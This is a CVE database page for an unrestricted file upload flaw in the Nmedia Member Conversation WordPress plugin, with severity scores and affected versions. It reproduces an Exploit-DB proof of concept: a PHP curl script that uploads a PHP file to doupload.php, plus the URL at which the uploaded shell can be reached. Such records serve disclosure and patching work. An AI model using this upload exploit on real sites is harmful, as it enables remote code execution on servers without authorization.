CVE-2012-3577
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Unrestricted file upload vulnerability in doupload.php in the Nmedia Member Conversation plugin before 1.4 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/user_uploads.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37353
Publication date : 2015-06-04 22h00 +00:00
Author : Sammy FORGIT
EDB Verified : Yes
source: https://www.securityfocus.com/bid/53790/info
The Nmedia WordPress Member Conversation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
Nmedia WordPress Member Conversation 1.35.0 is vulnerable; other versions may also be affected.
<?php
$uploadfile="lo.php";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wordpress-member-private-conversation/doupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/test/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php
lo.php
<?php
phpinfo();
?>
Products Mentioned
Configuraton 0
Nmedia>>Member_conversation >> Version To (including) 1.3
- Nmedia>>Member_conversation >> Version 1.0 (Open CPE detail)
- Nmedia>>Member_conversation >> Version 1.2 (Open CPE detail)
- Nmedia>>Member_conversation >> Version 1.3 (Open CPE detail)
Nmedia>>Member_conversation >> Version 1.0
- Nmedia>>Member_conversation >> Version 1.0 (Open CPE detail)
Nmedia>>Member_conversation >> Version 1.2
- Nmedia>>Member_conversation >> Version 1.2 (Open CPE detail)
Wordpress>>Wordpress >> Version -
- Wordpress>>Wordpress >> Version - (Open CPE detail)
References
http://wordpress.org/extend/plugins/wordpress-member-private-conversation/changelog/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://packetstormsecurity.org/files/113287/WordPress-Nmedia-WP-Member-Conversation-1.35.0-Shell-Upload.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
